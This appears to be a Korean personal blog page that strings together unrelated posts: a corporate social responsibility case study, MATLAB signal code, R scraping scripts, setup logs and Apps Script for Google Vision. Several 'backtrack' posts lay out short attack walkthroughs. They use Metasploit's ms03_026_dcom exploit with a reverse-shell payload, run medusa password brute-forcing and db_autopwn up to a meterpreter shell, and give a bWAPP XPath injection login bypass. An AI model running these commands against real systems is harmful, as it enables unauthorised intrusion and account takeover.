메뉴 건너뛰기

imp

국제적 기업들의 CSR 사례

박영식2008.05.04 11:38조회 수 4096댓글 0

    • 글자 크기

전략적 사회공헌 활동의 사례


방법/사례


1) NGO와 파트너쉽
    맥도날드 & EDF : 포장재 쓰레기 등 공동해결


2) 공익연계마케팅
    AMEX : 자유의 여신상 보수자금 지원


3) 지역사회공헌
   월마트의 토착화된 지역사회공헌


4) 자원봉사
  GE 엘펀(Elfun)


5) 재단
  MSN : 빌 & 멜린다 게이츠재단


6) 직접캠페인
  유한킴벌리의 ‘우리강산 푸르게 푸르게’



① NGO와의 파트너쉽


맥 도널드는 기존의 환경공해 기업이라는 이미지를 털어 낼 전략의 일환으로서 환경단체 EDF(Environmental Defense)와 파트너쉽을 통하여 포장재와 쓰레기 문제 해결을 위한 공동 사업을 실시함으로 패스트푸드 업체의 약점을 극복하고 오히려 소비자들로부터 긍정적인 평가를 이끌어 내었다. EDF는 대표적 환경공해 기업의 변화과정을 통한 샘플링 효과를 기대하였으며 선도기업인 맥도널드의 환경친화적인 이미지 변화로 인하여 후발기업들에게 파급효과를 기대할 수 있었고 맥도널드 또한 맥도널드가 부담해야할 환경투자 비용도 절감할 수 있었다.



② 공익연계마케팅


‘아 메리칸 익스프레스’는 1983년에 새로운 아멕스 카드가 만들어질 때마다 1달러를, 그리고 1983년 사사분기동안에 Amex 카드가 한번 사용될 때마다 1센트를 ‘자유여신상의 유지와 복구’에 기부하는 연계 프로그램을 마련하였고, 이것이 대대적인 성공을 거두게 되었다. 이 프로그램으로 Amex는 자유여신상의 유지와 복구에 170만 달러를 기부했고, 캠페인 기간 동안에 카드 사용이 28%나 증가한 것으로 나타났다. 이 성공사례가 다른 기업들을 자극하기 시작하면서 ‘공익연계마케팅’(CRM:Cause-Related Marketing)이라는 프로그램이 공식적으로 등장하게 되었다.



③ 지역사회공헌


세 계 최대 유통기업인 월마트는 2003년에 세계 4,906개 매장에서 2,563억달러(약 318조원)의 매출을 올린 세계적으로 가장 존경받는 기업 중에 하나로 2003년과 2004년 2년 연속 미국 경제잡지<Fortune>이 선정하는 가장 존경받는 기업 1위에 선정되었으며 2003년 한해에 사용한 사회공헌 기금도 약 1억 5천만 달러, 회사 전체 이익에 1.3% 에 이른다고 한다.  이런 월마트의 사회공헌 활동은 철저히 지역사회에 초점을 맞추고 있다는 점에서 다른 기업들과 크게 다르다. 대외적으로 생색이 많이 나는 대규모 지원보다는 지역사회에 가장 직접적인 도움을 줄 사업에 참여하여 월마트의 매장들이‘지역사회공헌 활동의 기지’의 역할을 하도록 하고 있다. 돈을 지원한 뒤에는 간섭하지 않고 지원단체 선정 등도 각 지역 매장 직원들에게 맡기는 것도 월마트식 사회공헌의 특징으로 각 매장마다 지역사회 참여 간사를 선정하고 10 여명의 위원회를 구성해 결정을 내린다. 월마트는 이런 방식으로 전 세계에서 문맹퇴치, 어린이병원, 미아찾기, 여성 건강 캠페인, 빈곤층 식사 보조, 노년층 자립 지원 등 다양한 ‘토착형 사회공헌 활동’을 하고 있으며 옛 동독 지역에서는 낙후된 어린이 놀이터 개선작업에 투자를 한바 있고, 한국에서는 나무심기 등 환경관련 분야와 재난구호 활동에 참여하였다.



④ 자원봉사


2005 년 Fortune 이 선정한 세계에서 가장 존경받는 기업 GE는 사회공헌 활동을 ‘GE재단’과 ‘GE 엘펀(Elfun)’ 두 개의 축으로 구분, 운영하고 있다. GE재단은 교육, 문화, 환경, 사회단체 등에 대규모 금전적 지원을 하며 투입되는 금액은 연간 10억 달러에 이르며 1989년부터 엘펀과 연계해 저소득층 지역에서 선정된 특정학교의 대학진학률을 두 배 이상 증가시키는 대학진학프로그램(College Bound Program)을 지원하고 있다. GE 엘펀은 GE 임직원·퇴직자들로 구성된 전세계적 자원봉사단체로서 140여개 지부와 5만명 이상이 회원으로 가입되어 있으며, 장애인·소년소녀 가장·노인 등 소외계층에 대한 봉사활동과 자연보호·헌혈·문맹교육·마약퇴치·적십자 활동 등을 수행하고 있다. 또한 직원들은 자원봉사 활동에 연간 100만 시간 이상을 할애하고 있으며, 자원봉사 모범상인 필립상을 통해 직원들의 봉사활동을 격려하고 있다.



⑤ 재단


빌 게이츠 마이크로소프트(MS) 회장은 회사의 사회공헌 활동과는 별도로, 기부를 통한 사회책임에 적극 나서고 있다. 이를 위해 그가 만든 것이 자신과 부인의 이름을 딴 ‘빌&멜린다 게이츠 재단’이다. 이 재단의 목표는 세계 보건격차의 해소로 선진국 수준의 보건 혜택을 세계 어디서나 당연히 누리게 하자는 것이다. 특별히 ‘빌 & 멜린다 게이츠 재단은 그동안 비용 문제로 엄두를 내지 못했던 백신들을 연구개발하고, 후진국들의 보건환경 개선을 위하여 지원하고 있다. 국제에이즈백신이니셔티브는 5~6가지에 이르는 복합치료제를 개발하고 있고, 말라리아백신이니셔티브는 별도로 8가지 백신 개발 프로젝트를 진행하고 있다. 그는 또 기금을 지원받으려면 보건 분야 예산을 늘려야 한다는 조건을 달아 각국이 보건환경 개선을 위한 노력을 하도록 만들고 있다.



⑥ 직접캠페인


1984 년 8월부터‘우리강산 푸르게 푸르게’라는 슬로건을 가지고 캠페인을 벌여온 유한킴벌리는 나무를 심고 자연을 사랑하는 우리나라의 대표적인 환경친화 기업으로 알려져 있다. 이 회사는 주로 나무를 이용해 제품을 만들어야 하는 특성상 환경단체나 소비자단체에게 환경을 파괴하는 기업으로 가장 먼저 성토의 대상이 될 수도 있을 것이다. 그러나 유한킴벌리는 오히려 1999년 한 웹사이트에서 실시한 환경친화적 기업 설문조사에서 1 위를 차지하였다. 시범림 조성사업으로 캠페인을 시작한 첫 해부터 산림조합중앙회에 기금을 기탁해 오고 있고 지금까지 450만평에 500만 그루의 나무를 심었다. 또한 청소년들에게 자연환경의 소중함을 느낄 수 있도록 1988년부터 여름방학에는 그린캠프를, 새롭게 가정을 꾸민 신혼부부들이 직접 나무를 심고 자연을 접할 기회를 제공하기 위해 나무심기 체험 프로그램을 식목일 전후로 하여 실시하고 있다. 유한 킴벌리의 기업 광고 노출량은 대기업의 그것에 비해 년 간 10분의 1 수준이지만 구체적인 실천 프로그램들이 연계되어 있기에 기업의 신뢰를 높이는데 훨씬 효과적이다.

박영식 (비회원)
    • 글자 크기

댓글 달기

Hamming Window Amplitude Response

[원문보기]

% Chapter 7: Hamming Window Amplitude Response


%


M = 45; alpha = (M-1)/2;


n = -alpha:alpha;


w = (hamming(M))'; sumw = sum(w);


N = 1000; omega = (2*pi/N)*[-N/2:N/2];


Wr = real(w*(exp(-j*n'*omega)));


db = 20*log10(abs(Wr)/max(Wr));


IntWr = cumsum(Wr);


Intdb = 20*log10(abs(IntWr)/N);


k = (N/2+1) - min(find(Intdb > -53));


tr_width = 2*k*2*M/N, %actual transition width in pi/M units


omega1 = -(tr_width/2)/M; omega2 = (tr_width/2)/M;


%


% plots


subplot(1,1,1)


subplot(2,2,1); stem(n,w);


axis([-(alpha+8),(alpha+8),-0.1,1.1]);


set(gca,'YTickMode','manual','YTick',[0,1])


set(gca,'XTickMode','manual','XTick',[-22,0,22]);


title('Hamming Window : M=45')


xlabel('n'); ylabel('w(n)')


subplot(2,2,3); plot(omega/pi,Wr);


axis([-1,1,-2,sumw+5]);


set(gca,'YTickMode','manual','YTick',[0,sumw])


set(gca,'XTickMode','manual','XTick',[-1,0,1]); grid


set(gca,'XTickLabelMode','manual','XTickLabels',[' 0';'22';'45']);


title('Amplitude Response')


xlabel('frequency in pi units'); ylabel('Wr')


subplot(2,2,2); plot(omega/pi,db);


axis([-1,1,-60,10]);


set(gca,'YTickMode','manual','YTick',[-60,-42,0])


set(gca,'YTickLabelMode','manual','YTickLabels',['60';'43';' 0'])


set(gca,'XTickMode','manual','XTick',[-1,0,1]);grid


title('Amplitude Response in dB')


xlabel('frequency in pi units'); ylabel('Decibels')


subplot(2,2,4); plot(omega/pi,Intdb);


axis([-1,1,-70,10]);


set(gca,'YTickMode','manual','YTick',[-70,-54,0])


set(gca,'YTickLabelMode','manual','YTickLabels',['70';'54';' 0'])


set(gca,'XTickMode','manual','XTick',[-1;omega1;omega2;1]);grid


set(gca,'XTickLabelMode','manual','XTickLabels',['-1';'  ';'  ';' 1'])


title('Accumulated Amplitude Response')


xlabel('frequency in pi units'); ylabel('Decibels')


text(omega2,5,'Width=(6.6)*pi/M')

[POODLE] SSLv3 Disable 적용 전, 후

[원문보기]

여러 환경에서 취약성을 비교해 볼 수 있는 화면이다.


SSLv3 disable 적용 전, 후를 확실히 확인 가능하다.


https://www.digicert.com/ssl-support/iis-disabling-ssl-v3.htm


IIS의 경우 reg를 제공하므로 쉽게 적용 가능하지만, 재부팅이 필요하다.



ba.png

[R] 도커를 이용한 가상 크롬으로 우분투에서 RSelenium 사용

[원문보기]

윈도우에서만 가능할 것으로 여겨졌던 크롤링이 우분투를 이용해서 가능하다.

 

https://lareale.tistory.com/292

 

위를 참조하여 도커에 크롬이 설치된 컨테이너 서버를 설치하고, 실행시킨다.

 

   13  wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - $ sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'

   14  wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -

   15  sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'

   16  ls

   17  sudo apt-get update

   18  sudo apt-get install google-chrome-stable

   19  wget -N http://chromedriver.storage.googleapis.com/2.10/chromedriver_linux64.zip -P ~/Downloads

   21  sudo apt-get install unzip

   22  unzip ~/Downloads/chromedriver_linux64.zip

   59  sudo ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver

   60  sudo ln -s /usr/local/share/chromedriver /usr/bin/chromedriver

   68  sudo apt-get install libcurl

   69  sudo apt-get install libcurl4-openssl-dev

   70  sudo apt-get install libssl-dev

   71  sudo apt-get install libxml2-dev

   72  sudo apt-get install xml2

   73  sudo R

   74  sudo echo "deb http://cran.rstudio.com/bin/linux/ubuntu xenial/" | sudo tee -a /etc/apt/sources.list

   75  gpg --keyserver keyserver.ubuntu.com --recv-key E084DAB9

   76  gpg -a --export E084DAB9 | sudo apt-key add -

   77  sudo apt-get update

   78  sudo apt-get install r-base r-base-dev

   79  R --version

 

$ sudo docker run -p 4445:4444 selenium/standalone-chrome &

 

 

아래 소스는 아직 테스트하지 못했고, aws t2.micro 에서 안된다.

(용량 문제로 dplyr 패키지를 설치할 수 없다.)

https://hjpco.wordpress.com/2017/05/31/aws-r%EC%97%90-devtools-package-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/

 

테스트 한 것은 cvs로 만드는 소스가 테스트 되었고, 최신순 선택은 실패했다.

 

MS 윈도우 서버가 정지되는 바람에 시도하게 되었는데, 결국 성공하지 못하여 아래 소스를 위해 되살렸다.(정지된 구독을 종량제로 전환하기 위해 영어로 통화를 26분이나 하였다. T.T)

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

library(googlesheets)

library(tidyverse)

 

ch=wdman::chrome(port=4445L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4445L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=패키지명&showAllReviews=true&hl=ko") #설정 URL로 이동(한국 스토어 기준으로 하려면 반드시 &hl=ko를 해야한다. 그렇지 않으면 &hl=en 으로 기본 설정되어 서버 IP에 해당하는 국가 리뷰가 나온다)

 

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[1]/div[2]/span")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

    remDr$click()

  Sys.sleep(10)

 

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[2]/div[1]")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

    remDr$click()

  Sys.sleep(10)

 

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

df_new <- gs_new(title = "패키지명", 

                 input = reviewData, 

                 trim = TRUE)

 

remDr$close()

[R] 우분투 16.04에 RStudio 설치

[원문보기]

아마존 t2.micro에 RStudio를 설치해서 원격으로 접속해 본다.

 

터미널보다 실행 속도가 더 빠르다니 의아하다.

 

http://download2.rstudio.org/ 에서 rstudio-server-1.1.463을 설치했다.

 

http://infondgndg91.blogspot.com/2016/09/1604-lts-rstudio.html 등에서는 rstudio-0.99.896-amd64.deb 를 받으라고 하는데,

 

Package 'libssl0.9.8' has no installation candidate 에러가 발생하여 상위 버전으로 설치했다.

 

 

  422  wget http://download2.rstudio.org/rstudio-server-1.1.463-amd64.deb

  423  sudo gdebi rstudio-server-1.1.463-amd64.deb

 

 

이상 없으면 아래와 같이 출력되며, 자동 실행된다.

 

Reading package lists... Done

Building dependency tree

Reading state information... Done

This package is uninstallable

Wrong architecture 'i386'

ubuntu@ip-172-31-29-250:~$ wget http://download2.rstudio.org/rstudio-server-1.1.463-amd64.deb

--2019-04-10 00:12:20--  http://download2.rstudio.org/rstudio-server-1.1.463-amd64.deb

Resolving download2.rstudio.org (download2.rstudio.org)... 54.239.186.77, 54.239.186.152, 54.239.186.198, ...

Connecting to download2.rstudio.org (download2.rstudio.org)|54.239.186.77|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 63566904 (61M) [application/x-deb]

Saving to: ‘rstudio-server-1.1.463-amd64.deb’

 

rstudio-server-1.1.463-amd64.deb        100%[=============================================================================>]  60.62M  13.8MB/s    in 5.6s

 

2019-04-10 00:12:26 (10.7 MB/s) - ‘rstudio-server-1.1.463-amd64.deb’ saved [63566904/63566904]

 

ubuntu@ip-172-31-29-250:~$ sudo gdebi rstudio-server-1.1.463-amd64.deb

Reading package lists... Done

Building dependency tree

Reading state information... Done

Reading state information... Done

 

RStudio Server

 RStudio is a set of integrated tools designed to help you be more productive with R. It includes a console, syntax-highlighting editor that supports direct code execution, as well as tools for plotting, history, and workspace management.

Do you want to install the software package? [y/N]:y

Selecting previously unselected package rstudio-server.

(Reading database ... 106368 files and directories currently installed.)

Preparing to unpack rstudio-server-1.1.463-amd64.deb ...

Unpacking rstudio-server (1.1.463) ...

Setting up rstudio-server (1.1.463) ...

groupadd: group 'rstudio-server' already exists

rsession: no process found

Created symlink from /etc/systemd/system/multi-user.target.wants/rstudio-server.service to /etc/systemd/system/rstudio-server.service.

● rstudio-server.service - RStudio Server

   Loaded: loaded (/etc/systemd/system/rstudio-server.service; enabled; vendor preset: enabled)

   Active: active (running) since Wed 2019-04-10 00:12:41 UTC; 1s ago

  Process: 25430 ExecStart=/usr/lib/rstudio-server/bin/rserver (code=exited, status=0/SUCCESS)

 Main PID: 25434 (rserver)

    Tasks: 3

   Memory: 14.3M

      CPU: 387ms

   CGroup: /system.slice/rstudio-server.service

           └─25434 /usr/lib/rstudio-server/bin/rserver

 

Apr 10 00:12:41 ip-172-31-29-250 systemd[1]: Starting RStudio Server...

Apr 10 00:12:41 ip-172-31-29-250 systemd[1]: Started RStudio Server.

 

 

8787 포트를 방화벽에서 허용하여 접속하면, 윈도우에 설치한 RStudio와 동일하게 사용가능 하다.

 

 

 

[TF] 파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자

[원문보기]

도서 [파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자] 에 나온 예제를 실행해 봤다.

 

현재기준으로 아나콘다 3을 설치하면 python 3.8.x 가 설치되며, python path를 설정해야 제대로 실행 가능하다.

 

기존 2.7, 3.5 가 설치된 환경이라 여러 버전이 섞여서 다양한(?) 에러를 발생시켰다.

 

시스템 환경변수에 아래를 등록한다.

PYTHONPATH

c:\programdata\anaconda3;c:\programdata\anaconda3\Lib;c:\programdata\anaconda3\DLLs;c:\programdata\anaconda3\libs;c:\programdata\anaconda3\Scripts;c:\programdata\anaconda3\bin

 

알수 없는 오류 (set_session, get_default_graph())에 대해 대략 아래와 같이 수정하여 아웃풋을 얻었다.

 

[networks.py]

23 from tensorflow.keras.backend import set_session -> from tensorflow.keras.backend import clear_session

25 graph = tf.get_default_graph() -> graph = tf.compat.v1.get_default_graph()

 

시간이 지나면 각종 로그와 그림에 대해 이해하게 되겠지.

 

epoch_summary_003.png

 

 

[backtrack] msrpc 135 파일 및 프린터 공유 취약점

[원문보기]
1.jpg

위의 두개가 체크 되어 있으면, 

msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show payloads
msf exploit(ms03_026_dcom) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_026_dcom) > set RHOST [TARGET IP]
msf exploit(ms03_026_dcom) > exploit


위와 같은 공격으로 쉘이 침투 당하게 된다.

[backtrack] 무작위 공격 툴 medusa 사용법

[원문보기]
# medusa -M [PS] -h [IP] -u [ID] -p [PW]

[PS] : ssh, mysql, telnet ......
[IP] : ip address
[ID] : target id
[PW] password

여기서 -H, -U, -P로 하면, [] 에 파일 경로를 입력하여 대입할 수 있다.

시간이 오래걸리고, 부하가 예상되니, 주의해서 사용할 것.

dictionary 파일과 패스워드파일은 좋은게 없으니, 알아서 잘 구하길......

[backtrack] autopwn 을 이용한 자동 공격

[원문보기]

backtrack 4를 설치하거나, image를 받아서 실행시킨다.


backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,


# /etc/init.d/networking start


자동으로 실행시키려면, .bash_profile에 등록 한다.


# vi /root/.bash_profile


/etc/init.d/networking start



이젠 autopwn을 사용할 차례다.


# msfconsole

msf > db_status


[*] postgresql selected, no connection


라고 나온다.

그러면, 사용할 수 있는 db를 알아보기 위해


msf > db_driver


[*]    Active Driver: postgresql

[*]        Available: postgresql, mysql, sqlite3



mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.


msf > db_driver sqlite3

[*] Using database driver sqlite3

msf > db_create client

[-]

[-] Warning: The db_create command is deprecated, use db_connect instead.

[-]          The database and schema will be created automatically by

[-]          db_connect. If db_connect fails to create the database, create

[-]          it manually with your DBMS's administration tools.

[-]

[*] The specified database already exists, connecting

[*] Successfully connected to the database

[*] File: client

msf > db_status

[*] sqlite3 connected to client



위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.


msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx


Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT

Nmap scan report for xxx.xxx.xxx.xxx

Host is up (0.015s latency).

Not shown: 990 closed ports

PORT     STATE    SERVICE      VERSION

22/tcp   open     ssh          OpenSSH 4.3 (protocol 2.0)

80/tcp   open     http         Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)

111/tcp  open     rpcbind      2 (rpc #100000)

135/tcp  filtered msrpc

139/tcp  filtered netbios-ssn

445/tcp  filtered microsoft-ds

1723/tcp filtered pptp

2869/tcp filtered icslap

3306/tcp open     mysql        MySQL (unauthorized)

4444/tcp filtered krb524

Device type: general purpose

Running: Apple Mac OS X 10.5.X

OS details: Apple Mac OS X 10.5.5 (Leopard)


OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds

msf > db_autopwn -p -e -t

[*] Analysis completed in 9 seconds (0 vulns / 0 refs)

[*]

[*] ================================================================================

[*]                             Matching Exploit Modules

[*] ================================================================================

[*]   xxx.xxx.xxx.xxx:111  exploit/netware/sunrpc/pkernel_callit  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/oscommerce_filemanager  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/lotus/domino_http_accept_language  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/iis/ms02_018_htr  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/base_qry_common  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/http/trendmicro_officescan  (port match)




음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.



http://www.youtube.com/watch?v=VXmE0QycUd8


나머지는 동영상을 참조 한다.

성공하면 아래와 같이 콘솔로 접근할 수 있다.


sessions -l

session -i 1

meterpreter > execute  -f cmd.exe -H -i 

c:WINDOWSsystem32>

[Vision API] 구글 드라이브 이미지 파일 리사이징 후 Vision API 사용

[원문보기]

라이브러리 : 1B7FSrk5Zi6L1rSxxTDgDEUsPzlukDsi4KGuTMorsTQHhGBzBkMun4iDF 로 추가(OAuth2)

고급 구글 서비스 : Drive API

행아웃 채트 API 활성화

 

CLOUD VISION API 는 이미지를 식별해 주는데, 구글 드라이브에 업로드 된 파일은 경로 참조로 가져오기가 되지 않는다.

 

 base64로 변환 후 사용 가능하다.

 

function test(){//vision api 테스트

  var fileurl="구글 드라이브 이미지 파일 경로";

  var data1 = JSON.parse(makeRequest(fileurl)); 

  //data.responses[0].webDetection.bestGuessLabels[0].label, data.responses[0].webDetection.webEntities[0].description 을 추출하여 사용

  Logger.log(data1.responses[0].webDetection);

}

function buildJSONRequestImgBase64(val) {//base64 인코딩 및 json 메시지 생성

  var file = DriveApp.getFileById(val); 

  var data1 = Utilities.base64Encode(file.getBlob().getBytes());

  return JSON.stringify({

    requests: [{

      image: {

        content:data1

      },

      features: [{

        type: "WEB_DETECTION",

        maxResults: 1

      }]

    }]

  });

}

var APIKey = 'Your key';

function makeRequest(b64) {// Make a POST request to Vision API with a JSON payload.      

  var visionApiUrl = 'https://vision.googleapis.com/v1/images:annotate?key=' + APIKey;

  var JSON_REQ = buildJSONRequestImgBase64(b64);

  var options = {

    'method': 'post',

    'contentType': 'application/json',

    'payload': JSON_REQ

  };

  var response = UrlFetchApp.fetch(visionApiUrl, options);

  return response.getContentText();

}

 

 

//행아웃 채팅으로 봇이 받은 이미지를 리사이징하여 저장한다.

function uploadAttachmentToDrive(attachment, folderId, fileName){//행아웃 채팅으로 받은 이미지 파일 처리 구글 드라이브로 업로드 및 썸네일 생성

  var resourceName = attachment[0].attachmentDataRef.resourceName;

  var blob     = "";

  var url      = "https://chat.googleapis.com/v1/media/" + resourceName + "?alt=media"

  var service  = getOAuth2Service(); 

 

 var response = UrlFetchApp.fetch(url, {

    headers: {

      'Authorization': 'Bearer ' + service.getAccessToken(),

    },

    'muteHttpExceptions': true,

  });

 

  if (response.getResponseCode() != 200) {

    return url;

  }

 

  blob = response.getBlob();

  

  var folder = DriveApp.getFolderById(folderId);

  var uploadFile = folder.createFile(blob);

 

  uploadFile.setName(fileName);

  

  var width = 800;

  

  var link = Drive.Files.get(uploadFile.getId()).thumbnailLink.replace(/\=s.+/, "=s" + width);

 

  var blob2 = UrlFetchApp.fetch(link).getBlob().setName(fileName+"_t");

  var file = folder.createFile(blob2);

  

  return file.getId();

}

function onMessage(event) {

  if(event.message.attachment != null){

    var fileurl = uploadAttachmentToDrive(event.message.attachment,"폴더명",Utilities.formatDate(dt, "GMT+9", "YYYY.MM.dd HH:mm:ss"));

}

function getOAuth2Service() {

  var serviceAccountPriveKey = '-----BEGIN PRIVATE KEY----------END PRIVATE KEY-----\n';

  var serviceAccountClientEmail = '~gserviceaccount.com'; 

  var scope = 'https://www.googleapis.com/auth/chat.bot';

  var service = OAuth2.createService('Vote bot')

      .setTokenUrl('https://accounts.google.com/o/oauth2/token')

      .setPrivateKey(serviceAccountPriveKey)

      .setClientId(serviceAccountClientEmail)

      .setScope(scope);

 

  if (!service.hasAccess()) {

    console.log('Authentication error: %s', service.getLastError());

    return;

  }

 

  return service;

}

[R] 구글 플레이스토어 리뷰 수집

[원문보기]

json 등으로 제공되지 않기 때문에, html 을 직접 크롤링해야 하는데, 더보기 버튼 등이 있고, 유용성 순서로 정렬이 기본이므로 제약이 많다.

 

https://blog.naver.com/PostView.nhn?blogId=nife0719&logNo=221329685115&parentCategoryNo=&categoryNo=30&viewDate=&isShowPopularPosts=false&from=postView

 

에서 제공되는 소스를 조금 고쳐서 전체를 다 수집하지 않고, 최근 것 일부만 수집하도록 한다.

 

리뷰가 너무 많을 경우 30분이 넘어가는 일이 발생하므로 다음과 같이 수정하였다.

 

다음을 실행하기 위해서는, r을 다운로드하여 설치하고 https://cran.r-project.org/bin/windows/base/

 

콘솔에서 관련 라이브러리를 설치한다. 아래 코드는 적당한 이름으로 저장하여 불러오기 후 전체 실행하면 된다.

(예제 앱은 스마트 헌혈 임)

 

install.packages("rvest")

install.packages("httr")

install.packages("stringr")

install.packages("RSelenium")

 

 

[다음]

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

ch=wdman::chrome(port=4444L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4444L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=net.bloodinfo.smartapp&showAllReviews=true") #설정 URL로 이동

 

webElem <- remDr$findElement("css", "body")

webElem$sendKeysToElement(list(key = "end"))

 

# webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc') #버튼 element 찾기

# remDr$mouseMoveToLocation(webElement = webElemButton) #해당 버튼으로 포인터 이동

 

flag <- TRUE

endCnt <- 0

 

while (flag) {

  Sys.sleep(10)

  webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

 

  if(length(webElemButton)==1){

    endCnt <- 0

    webElem$sendKeysToElement(list(key = "home"))

    webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #해당 버튼으로 포인터 이동

    remDr$click()

    webElem$sendKeysToElement(list(key = "end"))

    flag <- FALSE #추가한 부분

  }else{

    if(endCnt>3){

      flag <- FALSE

    }else{

      endCnt <- endCnt + 1

    }

  }

}

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

write.csv(reviewData, paste0("net.bloodinfo.smartapp(",nrow(reviewData),").csv"))

 

remDr$close()

 

[bWAPP] XML/XPath Injection (Login Form)

[원문보기]

A1 - Injection

XML/XPath Injection (Login Form)



로그인 ID, PW 에 ' or '1'='1 을 넣으면 된다.


A1-XPATH-LOG.PNG


selene, Thor, johnny, wolverine, alice

wolverine' or 'a'='a--

[R] 구글 플레이스토어 리뷰 별점까지 수집

[원문보기]

도커에 타임존을 변경해서 실행한다.

 

sudo docker run -v /etc/localtime:/etc/localtime:ro -p 4445:4444 selenium/standalone-chrome &

sudo docker ps -a

sudo docker exec -it 911cca8e9f44 /bin/bash

seluser@911cca8e9f44:/$ date

Fri Apr 19 11:31:47 KST 2019

 

Rscript로 실행할 때는 library를 주석처리하고

Rscript --default-packages=methods,utils,httr,stringr,rvest,RSelenium 파일명.r

으로 실행한다.

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

remDr <- remoteDriver(port = 4445L, browserName = "chrome")

remDr$open() #크롬 Open

 

remDr$navigate("https://play.google.com/store/apps/details?id={패키지명}&showAllReviews=true&hl=ko") #설정 URL로 이동

 

webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[1]/div[1]/div[3]/content")

 

remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

 

remDr$click()

 

Sys.sleep(1)

 

webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[2]/div[1]")

 

remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

 

remDr$click()

 

Sys.sleep(10)

 

 

